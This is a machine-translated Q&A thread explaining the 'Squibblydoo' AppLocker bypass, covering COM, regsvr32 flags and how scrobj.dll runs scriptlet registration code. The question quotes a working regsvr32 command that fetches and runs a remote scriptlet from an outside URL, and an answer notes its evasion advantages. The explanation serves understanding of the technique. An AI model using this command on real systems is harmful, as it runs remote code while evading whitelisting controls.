这个 AppLocker 绕过究竟是如何工作的?(“Squibblydoo”)

信息安全 视窗 黑名单
2021-09-04 06:14:24

我在一些博客上阅读了一个名为“Squibblydoo”的技巧,其中以下命令可以绕过 Windows 的 AppLocker:

regsvr32 /s /n /u /i:http://reg.cx/2kK3 scrobj.dll

URL 指向一个脚本文件,其中包含打开 Powershell 的命令(在该场景中,该命令被 AppLocker 阻止)。

但是,我在Win10机器上试了一下,还是不行。此外,我对这到底是做什么感到困惑。我所知道的是它是DllUninstall从服务器中的文件调用(但也可能是本地文件)并注册scrobj.dll(但我真的不明白这里的关系。到底在scrobj.dll做什么?)并且出于某种原因使文件中的脚本执行,然后可以打开被 AppLocker 阻止的应用程序。

2个回答

COM简介

COM是 Microsoft 标准,用于内存中对象的二进制布局。
该标准独立于所使用的编程语言,尽管类似于通过 vtables 进行的著名 C++ 虚拟调度。

基本上,COM 由对象和接口组成。
对象是抽象实体,它们是接口的集合。
接口由 UUID(称为 CLSID)和可选的对用户更友好的程序 ID (ProgID) 标识。
一个接口由一组方法和一个最终的父接口组成。

程序员从不使用对象,只使用接口。他们必须以某种方式获取指向接口的指针并调用其方法。
在底层,接口指针只是一个指向 vtable 的指针。

如果程序员已经有一个指向对象的任何接口的指针,它可以获取同一对象的任何其他接口,因为所有接口都继承自IUnknown它公开了一个QueryInterface方法。

然而,要获得第一个接口,需要边带机制。
特别是,对象(接口)实现所在的模块必须加载到调用进程地址空间(如果它是进程内服务器)或必须启动并建立 IPC/网络通道(如果它是进程外服务器)。
所有的工作都由CoGetClassObject给定 CLSID 的 API 处理,并将完成所有艰苦的工作并返回一个指向给定接口的指针(最终通过进程内代理)。

COM服务器注册简介

为了CoGetClassObject工作,它需要从 CLSID 或 ProgID 中找到服务器的类型和相关的模块(DLL 或 EXE)。
此信息存储在注册表中(下HKCRHKCR\CLSID),当缺少 COM 客户端时,将无法调用服务器上的方法。

服务器模块负责创建正确的密钥。微软开发了一个约定(或者它是一个标准?),这样程序员就不需要承担注册负担:一个模块将导出DllRegisterServerDllUnregisterServer安装向导将为每个 COM 组件调用它们(EXE 模块可能使用不同的名字,我不记得了)。
执行注册的工具是regsvr32.exe,当给定 COM 模块的路径时,它将加载模块并调用其中一个函数。

可选的模块可以导出 ( DllInstall) 用于执行除了纯 COM 注册之外的其他安装步骤。
这个函数接受一个布尔参数来告诉安装和卸载(注意:没有DllUninstall,文档是错误的)和一个表示为“命令行”的字符串。
该实现可以随意使用它。

使用时/i regsvr32将调用DllRegisterServer,然后DllInstall使用给定的命令行。
如果/n也通过了,DllRegisterServer则不会调用(这意味着/n单独是无效的)。如果/i未给出DllInstall将不会被调用。
如果/u使用,则采用卸载路径(DllUnregisterServerDllInstallwith FALSE)。
/s用于不显示消息框。

COM Scriptlet 简介

如果您使用 VB6 或 VC++ 或 Delphi,编写 COM 组件很容易,但否则会很痛苦。
为了使脚本语言能够编写 COM 组件,Micosoft 为 COM 服务器引入了一种新格式:COM Scriptlets

它们是带有源代码和一些元数据的 XML 文件。

<?XML version="1.0" ?>
<scriptlet validate="true" error="true" debug="true">
   <registration
    description="XXX"
    progid="YYY"
    version="1.00"
    classid="ZZZZ"
   >
   </registration>

元数据只是 ProgID、CLSID 和描述加上版本。
一个完整的例子是here

标签内的registration代码作为服务器注册、注销过程的一部分执行。

<registration
    ...
    >
    
    
    <script language="JScript">
        <![CDATA[
    
            ...
    
        ]]>
    </script>
</registration>

scriptlet 还可以(必须?)声明其 COM 接口的方法。

srcobj.dll

我不知道srcobj.dll在 Windows 中用于什么。
我刚刚启动了 IDA 并检索了 DLL 的调试符号以查看发生了什么。

首先,DLL 导出所有 COM 注册方法:

出口

DllInstall无论参数如何,该方法都bInstall将加载命令行参数调用中给出的脚本RegisterScriptlet

DLL安装

RegisterScriptlet将反过来创建一个ComScriptletSite对象ComScriptletConstructor来调用LoadFromPath

小脚本加载

调用链从这里有点深,它是这样的:LoadFromInput> ... > CompileScriptlet> ... > CompileRegistration

稍后,scriptlet 注册代码作为其初始化的一部分执行。

旁路

加载 scriptlet 的最终效果是一些脚本代码在regsvr32.exe(作为注册阶段的一部分)的上下文中执行。
作为regsvr32.exe受信任的(签名?)可执行文件,这绕过了 Windows 对允许的可执行文件 (AppLocker) 的限制。

Regsvr32 是受信任的 Microsoft 二进制文件。

regsvr32 是一个 Windows 命令行实用程序,用于在注册表中注册和取消注册 .dll 文件和 ActiveX 控件。Casey Smith 发现可以通过调用 regsrv32 实用程序通过 .sct 文件执行命令或任意代码来绕过 AppLocker 脚本规则。这个实用程序有很多好处,因为它是受信任的 Microsoft 二进制文件、代理感知、支持 TLS 加密、遵循重定向并且不会在磁盘上留下任何痕迹。

因此,由于其签名的 Microsoft 二进制 Applocker 允许它执行。SCT 文件中的代码(相信这不一定是 SCT)在您使用 scrobj.dll 取消注册时执行

Scrobj.dll 用于注册和注销 COM 对象,这是触发此操作所需的,因为 SCT 是一个 COM 对象 servlet doo-daa。